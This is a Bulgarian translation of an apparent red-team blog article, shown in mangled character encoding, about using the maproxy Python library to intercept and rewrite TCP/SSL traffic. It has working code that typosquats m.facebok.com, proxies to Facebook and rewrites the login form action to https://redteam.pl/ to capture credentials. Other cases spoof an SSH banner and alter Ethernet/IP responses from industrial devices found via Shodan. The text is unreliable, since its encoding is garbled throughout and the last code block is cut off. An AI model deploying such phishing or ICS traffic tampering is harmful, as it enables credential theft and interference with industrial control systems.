ΠΡΠ΅Π²ΠΎΠ΄ΡΡ Π½Π° ΡΡΠ°ΡΠΈΡΡΠ° Π΅ ΠΏΠΎΠ΄Π³ΠΎΡΠ²Π΅Π½ Π² ΠΎΡΠ°ΠΊΠ²Π°Π½Π΅ Π½Π° ΡΡΠ°ΡΡΠ° Π½Π° ΠΊΡΡΡΠ° .

ΠΠ½ΠΎΡΠ°ΡΠΈΡ
Π Π°Π·Π½ΠΎΠΎΠ±ΡΠ°Π·Π½ΠΈΡΠ΅ Π²ΠΈΠ΄ΠΎΠ²Π΅ ΠΎΡΠ΅Π½ΠΊΠ° Π½Π° ΡΠΈΠ³ΡΡΠ½ΠΎΡΡΡΠ°, ΠΎΡ ΡΠ΅Π΄ΠΎΠ²Π½ΠΈ ΡΠ΅ΡΡΠΎΠ²Π΅ Π·Π° ΠΏΡΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅ ΠΈ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈ Π½Π° Red Team Π΄ΠΎ Ρ Π°ΠΊΠ΅ΡΡΠΊΠΈ Π°ΡΠ°ΠΊΠΈ Π½Π° IoT/ICS ΡΡΡΡΠΎΠΉΡΡΠ²Π° ΠΈ SCADA, Π²ΠΊΠ»ΡΡΠ²Π°Ρ ΡΠ°Π±ΠΎΡΠ° Ρ Π±ΠΈΠ½Π°ΡΠ½ΠΈ ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΈ, Ρ.Π΅. ΠΏΠΎ ΡΡΡΠ΅ΡΡΠ²ΠΎ Ρ Π²Π°ΡΠ°Π½Π΅ ΠΈ ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π½Π° ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ ΠΌΠ΅ΠΆΠ΄Ρ ΠΊΠ»ΠΈΠ΅Π½ΡΠ° ΠΈ ΡΠ΅Π»ΡΠ°. Π‘Π½ΠΈΡΡΠΈΠ½Π³ΡΡ Π½Π° ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈΡ ΡΡΠ°ΡΠΈΠΊ Π½Π΅ Π΅ ΡΠ»ΠΎΠΆΠ½Π° Π·Π°Π΄Π°ΡΠ°, ΡΡΠΉ ΠΊΠ°ΡΠΎ ΠΈΠΌΠ°ΠΌΠ΅ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΈ ΠΊΠ°ΡΠΎ Wireshark, Tcpdump ΠΈΠ»ΠΈ Scapy, Π½ΠΎ ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡΡΠ° ΡΠ΅ ΡΠ²ΡΠ²Π° ΠΏΠΎ-ΡΡΡΠ΄ΠΎΠ΅ΠΌΠΊΠ° Π·Π°Π΄Π°ΡΠ°, ΡΡΠΉ ΠΊΠ°ΡΠΎ Π½ΠΈ ΡΡΡΠ±Π²Π° ΡΠΏΠ΅ΡΠΈΠ°Π»Π΅Π½ ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡ Π·Π° ΡΠ΅ΡΠ΅Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈΡΠ΅ ΠΎΡ ΠΌΡΠ΅ΠΆΠ°ΡΠ°, ΡΡΡ Π½ΠΎΡΠΎ ΡΠΈΠ»ΡΡΠΈΡΠ°Π½Π΅, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π½Π° Π»Π΅ΡΠΎ ΠΈ ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ ΠΎΠ±ΡΠ°ΡΠ½ΠΎ Π½Π° ΡΠ΅Π»Π΅Π²ΠΈΡ Ρ ΠΎΡΡ ΠΏΠΎΡΡΠΈ Π² ΡΠ΅Π°Π»Π½ΠΎ Π²ΡΠ΅ΠΌΠ΅. ΠΡΠ²Π΅Π½ ΡΠΎΠ²Π°, Π±ΠΈ Π±ΠΈΠ»ΠΎ ΠΈΠ΄Π΅Π°Π»Π½ΠΎ, Π°ΠΊΠΎ ΡΠ°ΠΊΡΠ² ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ½ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ°Π±ΠΎΡΠΈ Ρ Π½ΡΠΊΠΎΠ»ΠΊΠΎ ΠΏΠ°ΡΠ°Π»Π΅Π»Π½ΠΈ Π²ΡΡΠ·ΠΊΠΈ ΠΈ Π΄Π° ΠΈΠΌΠ° Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ Π·Π° ΠΏΠ΅ΡΡΠΎΠ½Π°Π»ΠΈΠ·Π°ΡΠΈΡ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° ΡΠΊΡΠΈΠΏΡΠΎΠ²Π΅.
ΠΠ΄ΠΈΠ½ Π΄Π΅Π½ ΠΎΡΠΊΡΠΈΡ
ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ, ΠΊΠΎΠΉΡΠΎ ΡΠ΅ Π½Π°ΡΠΈΡΠ° , Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΡΡΠ° ΠΌΠΈ Π΄Π°Π΄Π΅ Π±ΡΡΠ·ΠΎ Π΄Π° ΡΠ°Π·Π±Π΅ΡΠ°, ΡΠ΅ ΠΌΠ°ΠΏΡΠΎΠΊΡΠΈ β ΡΠΎΡΠ½ΠΎ ΡΠΎΠ²Π°, ΠΎΡ ΠΊΠΎΠ΅ΡΠΎ ΠΈΠΌΠ°Ρ
Π½ΡΠΆΠ΄Π°. Π’ΠΎΠ²Π° Π΅ Π΄ΠΎΡΡΠ° ΠΏΡΠΎΡΡ, ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»Π΅Π½ ΠΈ Π»Π΅ΡΠ½ΠΎ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΡΠ΅ΠΌ TCP ΠΏΡΠΎΠΊΡΠΈ. Π’Π΅ΡΡΠ²Π°Ρ
ΡΠΎΠ·ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ Ρ Π½ΡΠΊΠΎΠ»ΠΊΠΎ Π΄ΠΎΡΡΠ° ΡΠ»ΠΎΠΆΠ½ΠΈ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, Π²ΠΊΠ»ΡΡΠΈΡΠ΅Π»Π½ΠΎ ICS ΡΡΡΡΠΎΠΉΡΡΠ²Π° (ΠΊΠΎΠΈΡΠΎ Π³Π΅Π½Π΅ΡΠΈΡΠ°Ρ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅ΡΠΈ), Π·Π° Π΄Π° Π²ΠΈΠ΄Ρ Π΄Π°Π»ΠΈ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ°Π±ΠΎΡΠΈ Ρ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ°ΡΠ°Π»Π΅Π»Π½ΠΈ Π²ΡΡΠ·ΠΊΠΈ, ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΡΡ ΡΠ΅ ΡΠΏΡΠ°Π²ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ Π΄ΠΎΠ±ΡΠ΅.
Π’Π°Π·ΠΈ ΡΡΠ°ΡΠΈΡ ΡΠ΅ Π²ΠΈ Π·Π°ΠΏΠΎΠ·Π½Π°Π΅ Ρ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ°ΡΠ° Π½Π° ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π½Π° Π»Π΅ΡΠΎ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° ΠΌΠ°ΠΏΡΠΎΠΊΡΠΈ.
ΠΡΠ΅Π³Π»Π΅Π΄
ΠΠ½ΡΡΡΡΠΌΠ΅Π½Ρ ΠΌΠ°ΠΏΡΠΎΠΊΡΠΈ ΠΎΡΠ½ΠΎΠ²Π°Π²Π° ΡΠ΅ Π½Π° Tornado β ΠΏΠΎΠΏΡΠ»ΡΡΠ΅Π½ ΠΈ ΡΠ°Π·Π²ΠΈΡ Π°ΡΠΈΠ½Ρ
ΡΠΎΠ½Π΅Π½ ΠΌΡΠ΅ΠΆΠΎΠ² ΡΡΠ΅ΠΉΠΌΠ²ΠΎΡΠΊ Π½Π° Python.
ΠΠ°ΡΠΎ ΡΡΠ»ΠΎ, ΡΠΎΠΉ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ°Π±ΠΎΡΠΈ Π² Π½ΡΠΊΠΎΠ»ΠΊΠΎ ΡΠ΅ΠΆΠΈΠΌΠ°:
TCP:TCPβ Π½Π΅ΡΠΈΡΡΠΎΠ²Π°Π½ΠΈ TCP Π²ΡΡΠ·ΠΊΠΈ;TCP:SSLΠΈSSL:TCPβ Ρ Π΅Π΄Π½ΠΎΠΏΠΎΡΠΎΡΠ½ΠΎ ΠΊΡΠΈΠΏΡΠΈΡΠ°Π½Π΅;SSL:SSLβ Π΄Π²ΡΠΏΠΎΡΠΎΡΠ½ΠΎ ΠΊΡΠΈΠΏΡΠΈΡΠ°Π½Π΅.
Π’ΠΎΠΉ ΡΠ΅ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Ρ ΠΏΠΎΠ΄ ΡΠΎΡΠΌΠ°ΡΠ° Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°. ΠΠ° Π±ΡΡΠ·ΠΎ ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠ΅ ΠΏΡΠΈΠΌΠ΅ΡΠ½ΠΈΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅, ΠΊΠΎΠΈΡΠΎ ΠΎΡΡΠ°Π·ΡΠ²Π°Ρ ΠΎΡΠ½ΠΎΠ²Π½ΠΈΡΠ΅ :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
ΠΠ΅ΠΉΡ 1 β ΠΏΡΠΎΡΡ Π΄Π²ΡΠΏΠΎΡΠΎΡΠ΅Π½ ΠΏΡΠΎΠΊΡΠΈ
ΠΡΠ½ΠΎΠ²Π°Π²Π°ΠΉΠΊΠΈ ΡΠ΅ Π½Π° tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() ΠΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅ ProxyServer() ΠΏΡΠΈΠ΅ΠΌΠ° Π΄Π²Π° Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ° β ΠΌΡΡΡΠΎ Π½Π° ΡΠ²ΡΡΠ·Π²Π°Π½Π΅ ΠΈ ΡΠ΅Π»Π΅Π²ΠΈ ΠΏΠΎΡΡ. server.listen() ΠΏΡΠΈΠ΅ΠΌΠ° Π΅Π΄ΠΈΠ½ Π°ΡΠ³ΡΠΌΠ΅Π½Ρ β ΠΏΠΎΡΡ Π·Π° ΡΠ»ΡΡΠ°Π½Π΅ Π½Π° Π²Ρ
ΠΎΠ΄ΡΡΠ° Π²ΡΡΠ·ΠΊΠ°.
ΠΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΡΠΊΡΠΈΠΏΡΠ°:
# python tcp2tcp.py ΠΠ° Π΄Π° ΠΏΡΠΎΠ²Π΅Π΄Π΅ΠΌ ΡΠ΅ΡΡΠ°, ΡΠ΅ ΡΠ΅ ΡΠ²ΡΡΠΆΠ΅ΠΌ Ρ Π»ΠΎΠΊΠ°Π»Π΅Π½ SSH ΡΡΡΠ²ΡΡ ΡΡΠ΅Π· Π½Π°ΡΠΈΡ ΠΏΡΠΎΠΊΡΠΈ ΡΠΊΡΠΈΠΏΡ, ΠΊΠΎΠΉΡΠΎ ΡΠ»ΡΡΠ° Π½Π° 2222/tcp ΠΏΠΎΡΡ ΠΈ ΡΠ΅ ΡΠ²ΡΡΠ·Π²Π° ΠΊΡΠΌ ΡΡΠ°Π½Π΄Π°ΡΡΠ΅Π½ ΠΏΠΎΡΡ 22/tcp SSH ΡΡΡΠ²ΡΡΠΈ:

ΠΡΠΈΠ²Π΅ΡΡΡΠ²Π΅Π½ΠΈΡΡ Π±Π°Π½Π΅Ρ ΠΈΠ½ΡΠΎΡΠΌΠΈΡΠ°, ΡΠ΅ Π½Π°ΡΠΈΡΡ ΠΏΡΠΈΠΌΠ΅ΡΠ΅Π½ ΡΠΊΡΠΈΠΏΡ ΡΡΠΏΠ΅ΡΠ½ΠΎ Π΅ ΠΏΡΠΎΠΊΡΠΈΡΠ°Π» ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈΡ ΡΡΠ°ΡΠΈΠΊ.
Π‘Π»ΡΡΠ°ΠΉ 2 β ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π½Π° Π΄Π°Π½Π½ΠΈ
ΠΡΡΠ³ Π΄Π΅ΠΌΠΎΠ½ΡΡΡΠ°ΡΠΈΠΎΠ½Π΅Π½ ΡΠΊΡΠΈΠΏΡ logging_proxy.py ΠΏΠ΅ΡΡΠ΅ΠΊΡΠ½ΠΎ ΠΏΠΎΠ΄Ρ
ΠΎΠΆΠ΄Π° Π·Π° Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ Ρ ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ. ΠΠΎΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ΅ Π² ΡΠ°ΠΉΠ»Π° ΠΎΠΏΠΈΡΠ²Π°Ρ ΠΌΠ΅ΡΠΎΠ΄ΠΈΡΠ΅ Π½Π° ΠΊΠ»Π°ΡΠ°, ΠΊΠΎΠΈΡΠΎ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΌΠΎΠ΄ΠΈΡΠΈΡΠΈΡΠ°ΡΠ΅, Π·Π° Π΄Π° ΠΏΠΎΡΡΠΈΠ³Π½Π΅ΡΠ΅ ΡΠ΅Π»ΡΠ° ΡΠΈ:

ΠΠ°ΠΉ-ΠΈΠ½ΡΡΠΈΠ³ΡΠ²Π°ΡΠΎΡΠΎ ΡΡΠΊ Π΅:
on_c2p_done_readβ Π·Π° ΠΏΡΠΈΡ Π²Π°ΡΠ°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ ΠΏΠΎ ΠΏΡΡΡ ΠΎΡ ΠΊΠ»ΠΈΠ΅Π½ΡΠ° ΠΊΡΠΌ ΡΡΡΠ²ΡΡΠ°;on_p2s_done_readβ Π² ΠΎΠ±ΡΠ°ΡΠ½Π°ΡΠ° ΠΏΠΎΡΠΎΠΊΠ°.
ΠΠ΅ΠΊΠ° ΠΎΠΏΠΈΡΠ°ΠΌΠ΅ Π΄Π° ΠΏΡΠΎΠΌΠ΅Π½ΠΈΠΌ SSH Π±Π°Π½Π΅ΡΠ°, ΠΊΠΎΠΉΡΠΎ ΡΡΡΠ²ΡΡΡΡ Π²ΡΡΡΠ° Π½Π° ΠΊΠ»ΠΈΠ΅Π½ΡΠ°:
[β¦]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[β¦]ΠΠ·ΠΏΡΠ»Π½Π΅ΡΠ΅ ΡΠΊΡΠΈΠΏΡΠ°:

ΠΠ°ΠΊΡΠΎ Π²ΠΈΠΆΠ΄Π°ΡΠ΅, ΠΊΠ»ΠΈΠ΅Π½ΡΡΡ Π±Π΅ΡΠ΅ Π·Π°Π±Π»ΡΠ΄Π΅Π½, ΡΡΠΉ ΠΊΠ°ΡΠΎ ΠΈΠΌΠ΅ΡΠΎ Π½Π° SSH ΡΡΡΠ²ΡΡΠ° Π±Π΅ΡΠ΅ Π·Π°ΠΌΠ΅Π½Π΅Π½ΠΎ Ρ Β«DumnySSHΒ».

Π‘Π»ΡΡΠ°ΠΉ 3 β ΠΏΡΠΎΡΡΠ° ΡΠΈΡΠΈΠ½Π³ ΡΠ΅Π± ΡΡΡΠ°Π½ΠΈΡΠ°
Π‘ΡΡΠ΅ΡΡΠ²ΡΠ²Π°Ρ Π±Π΅Π·ΠΊΡΠ°ΠΉΠ½ΠΈ Π²Π°ΡΠΈΠ°Π½ΡΠΈ Π·Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ΡΠΎ Π½Π° ΡΠΎΠ·ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ. Π’ΠΎΠ·ΠΈ ΠΏΡΡ Π½Π΅ΠΊΠ° ΡΠ΅ ΠΊΠΎΠ½ΡΠ΅Π½ΡΡΠΈΡΠ°ΠΌΠ΅ Π²ΡΡΡ
Ρ Π½Π΅ΡΠΎ ΠΏΠΎ-ΠΏΡΠ°ΠΊΡΠΈΡΠ½ΠΎ ΠΎΡ ΡΡΠ΅ΡΠ°ΡΠ° Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° Red Team. ΠΠ΅ΠΊΠ° ΠΈΠΌΠΈΡΠΈΡΠ°ΠΌΠ΅ Π»ΠΈΠ½ΠΊΠ° m.facebook.com ΠΈ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ ΠΏΠ΅ΡΡΠΎΠ½Π°Π»ΠΈΠ·ΠΈΡΠ°Π½ Π΄ΠΎΠΌΠ΅ΠΉΠ½ Ρ ΡΠΌΠΈΡΠ»Π΅Π½Π° ΡΠΈΠΏΠΎΠ³ΡΠ°ΡΡΠΊΠ° Π³ΡΠ΅ΡΠΊΠ°, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, m.facebok.com. ΠΠ° Π΄Π΅ΠΌΠΎΠ½ΡΡΡΠ°ΡΠΈΡ ΠΏΡΠΎΡΡΠΎ Π΄Π° ΠΏΡΠ΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, ΡΠ΅ Π΄ΠΎΠΌΠ΅ΠΉΠ½ΡΡ Π΅ ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ°Π½ ΠΎΡ Π½Π°Ρ.
Π©Π΅ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ Π½Π΅Π·Π°ΡΠΈΡΡΠΎΠ²Π°Π½Π° ΠΌΡΠ΅ΠΆΠΎΠ²Π° Π²ΡΡΠ·ΠΊΠ° Ρ Π½Π°ΡΠΈΡ ΠΏΡΠΎΠΊΡΠΈ Π½Π° ΠΆΠ΅ΡΡΠ²Π° ΠΈ SSL Stream Π·Π° ΡΡΡΠ²ΡΡΠ° Π½Π° Facebook (31.13.81.36). ΠΠ° Π΄Π° ΡΡΠ°Π±ΠΎΡΠΈ ΡΠΎΠ·ΠΈ ΠΏΡΠΈΠΌΠ΅Ρ, ΡΡΡΠ±Π²Π° Π΄Π° Π·Π°ΠΌΠ΅Π½ΠΈΠΌ HTTP Π·Π°Π³Π»Π°Π²ΠΊΠ°ΡΠ° Π½Π° Ρ
ΠΎΡΡΠ° ΠΈ Π΄Π° Π²Π½Π΅Π΄ΡΠΈΠΌ ΠΏΡΠ°Π²ΠΈΠ»Π½ΠΎΡΠΎ ΠΈΠΌΠ΅ Π½Π° Ρ
ΠΎΡΡΠ°, Π° ΡΡΡΠΎ ΡΠ°ΠΊΠ° Π΄Π° ΠΈΠ·ΠΊΠ»ΡΡΠΈΠΌ ΠΊΠΎΠΌΠΏΡΠ΅ΡΠΈΡΡΠ° Π½Π° ΠΎΡΠ³ΠΎΠ²ΠΎΡΠΈΡΠ΅, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠΈΠΌ Π»Π΅ΡΠ΅Π½ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ ΡΡΡ
Π½ΠΎΡΠΎ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅. Π ΠΊΡΠ°ΠΉΠ½Π° ΡΠΌΠ΅ΡΠΊΠ° ΡΠ΅ Π·Π°ΠΌΠ΅Π½ΠΈΠΌ HTML ΡΠΎΡΠΌΠ°ΡΠ°, Π·Π° Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΡΠ°ΡΠ°Ρ Π²Ρ
ΠΎΠ΄Π½ΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ Π½Π° Π½Π°Ρ, Π²ΠΌΠ΅ΡΡΠΎ Π½Π° ΡΡΡΠ²ΡΡΠΈΡΠ΅ Π½Π° Facebook:
[β¦]
def on_c2p_done_read(self,data):
# Π·Π°ΠΌΡΠ½Π° Π½Π° Π·Π°Π³Π»Π°Π²ΠΊΠ°ΡΠ° Π½Π° Ρ
ΠΎΡΡΠ°
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# Π΄Π΅Π°ΠΊΡΠΈΠ²ΠΈΡΠ°Π½Π΅ Π½Π° ΠΊΠΎΠΌΠΏΡΠ΅ΡΠΈΡΡΠ°
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[β¦]
def on_p2s_done_read(self,data):
# ΡΠ°ΡΡΠΈΡΠ½Π° Π·Π°ΠΌΡΠ½Π° Π½Π° ΠΎΡΠ³ΠΎΠ²ΠΎΡΠ°
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[β¦]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[β¦]Π Π΅Π·ΡΠ»ΡΠ°Ρ:

ΠΠ°ΠΊΡΠΎ Π²ΠΈΠΆΠ΄Π°ΡΠ΅, ΡΡΠΏΡΡ
ΠΌΠ΅ ΡΡΠΏΠ΅ΡΠ½ΠΎ Π΄Π° Π·Π°ΠΌΠ΅Π½ΠΈΠΌ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»Π½ΠΈΡ ΡΠ°ΠΉΡ.
Π‘Π»ΡΡΠ°ΠΉ 4 β ΠΠΎΡΡΠΈΠΌ Ethernet/IP
ΠΠ· ΠΏΠΎΡΡΠΈ Π΄ΡΠ»Π³ΠΎ Π²ΡΠ΅ΠΌΠ΅ ΡΠ°Π±ΠΎΡΡ Ρ ΠΈΠ½Π΄ΡΡΡΡΠΈΠ°Π»Π½ΠΈ ΡΡΡΡΠΎΠΉΡΡΠ²Π° ΠΈ ΡΠΎΡΡΡΠ΅Ρ (ICS / SCADA), ΠΊΠ°ΡΠΎ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΈΡΡΠ΅ΠΌΠΈ ΠΊΠΎΠ½ΡΡΠΎΠ»Π΅ΡΠΈ (PLC), Π²Ρ ΠΎΠ΄Π½ΠΎ-ΠΈΠ·Ρ ΠΎΠ΄Π½ΠΈ ΠΌΠΎΠ΄ΡΠ»ΠΈ, Π·Π°Π΄Π²ΠΈΠΆΠ²Π°Π½ΠΈΡ, ΡΠ΅Π»Π΅, ΡΡΡΠΏΠ°Π»ΠΎΠ²ΠΈΠ΄Π½ΠΈ ΡΡΠ΅Π΄Π° Π½Π° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΈΡΠ°Π½Π΅ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ Π΄ΡΡΠ³ΠΈ. Π’ΠΎΠ·ΠΈ ΡΠ»ΡΡΠ°ΠΉ Π΅ Π·Π° ΡΠ΅Π·ΠΈ, ΠΊΠΎΠΈΡΠΎ ΠΎΠ±ΠΈΡΠ°Ρ ΠΈΠ½Π΄ΡΡΡΡΠΈΠ°Π»Π½ΠΈ Π½Π΅ΡΠ°. ΠΠ°ΠΎΠ±ΠΈΠΊΠ°Π»ΡΠ½Π΅ΡΠΎ Π½Π° ΡΠ°ΠΊΠΈΠ²Π° ΡΠ΅ΡΠ΅Π½ΠΈΡ ΠΏΡΠ΅Π΄ΠΏΠΎΠ»Π°Π³Π° Π°ΠΊΡΠΈΠ²Π½Π° ΡΠ°Π±ΠΎΡΠ° Ρ ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΈ. Π ΡΠ»Π΅Π΄Π²Π°ΡΠΈΡ ΠΏΡΠΈΠΌΠ΅Ρ Π±ΠΈΡ ΠΈΡΠΊΠ°Π» Π΄Π° ΠΏΠΎΠΊΠ°ΠΆΠ° ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΌΠΎΠ΄ΠΈΡΠΈΡΠΈΡΠ°ΡΠ΅ ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈΡ ΡΡΠ°ΡΠΈΠΊ ICS/SCADA.
ΠΠ° ΡΠΎΠ²Π° ΡΠ΅ Π²ΠΈ Π΅ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ»Π΅Π΄Π½ΠΎΡΠΎ:
- ΠΡΠ΅ΠΆΠΎΠ² ΡΠ½ΠΈΡΡΠ΅Ρ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Wireshark;
- Ethernet/IP ΠΈΠ»ΠΈ ΠΏΡΠΎΡΡΠΎ SIP-ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ, ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π³ΠΎ Π½Π°ΠΌΠ΅ΡΠΈΡΠ΅ ΡΡΠ΅Π· ΡΡΠ»ΡΠ³Π°ΡΠ° Shodan;
- ΠΠ°ΡΠΈΡΡ ΡΠΊΡΠΈΠΏΡ Π΅ Π±Π°Π·ΠΈΡΠ°Π½ Π½Π°
ΠΌΠ°ΠΏΡΠΎΠΊΡΠΈ.
ΠΠ° Π½Π°ΡΠ°Π»ΠΎ, Π½Π΅ΠΊΠ° Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ ΠΊΠ°ΠΊ ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° ΡΠΈΠΏΠΈΡΠ½ΠΈΡΡ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π΅Π½ ΠΎΡΠ³ΠΎΠ²ΠΎΡ ΠΎΡ CIP (Common Industrial Protocol):

ΠΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡΡΠ° Π½Π° ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π° Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π° Ethernet/IP, ΠΊΠΎΠΉΡΠΎ Π΅ ΡΠ°Π·ΡΠΈΡΠ΅Π½Π° Π²Π΅ΡΡΠΈΡ Π½Π° Ethernet ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π° Π·Π° ΠΈΠ½Π΄ΡΡΡΡΠΈΠ°Π»Π½ΠΈ ΡΠ΅Π»ΠΈ, ΠΎΠ±Π³ΡΡΡΠ°Ρ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ ΠΊΠ°ΡΠΎ CIP. Π©Π΅ ΠΏΡΠΎΠΌΠ΅Π½ΠΈΠΌ Π·Π°Π΄Π°Π΄Π΅Π½ΠΎΡΠΎ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΠΎ ΠΈΠΌΠ΅, Π²ΠΈΠ΄ΠΈΠΌΠΎ Π½Π° ΡΠΊΡΠΈΠΉΠ½ΡΠΎΡΠ° Β«NI-IndComm for EthernetΒ» Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° Π½Π°ΡΠΈΡ ΠΏΡΠΎΠΊΡΠΈ-ΡΠΊΡΠΈΠΏΡ. ΠΠΎΠΆΠ΅Ρ
ΠΌΠ΅ Π΄Π° ΠΏΡΠ΅ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ ΡΠΊΡΠΈΠΏΡΠ° logging_proxy.py ΠΈ Π°Π½Π°Π»ΠΎΠ³ΠΈΡΠ½ΠΎ Π΄Π° ΠΌΠΎΠ΄ΠΈΡΠΈΡΠΈΡΠ°ΠΌΠ΅ ΠΌΠ΅ΡΠΎΠ΄Π° Π½Π° ΠΊΠ»Π°ΡΠ° on_p2s_done_read, ΡΡΠΉ ΠΊΠ°ΡΠΎ ΠΈΡΠΊΠ°ΠΌΠ΅ Π½Π° ΠΊΠ»ΠΈΠ΅Π½ΡΠ° Π΄Π° ΡΠ΅ Π²ΠΈΠΆΠ΄Π° Π΄ΡΡΠ³ΠΎ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΠΎ ΠΈΠΌΠ΅.
ΠΠΎΠ΄:
[β¦]
def on_p2s_done_read(self,data):
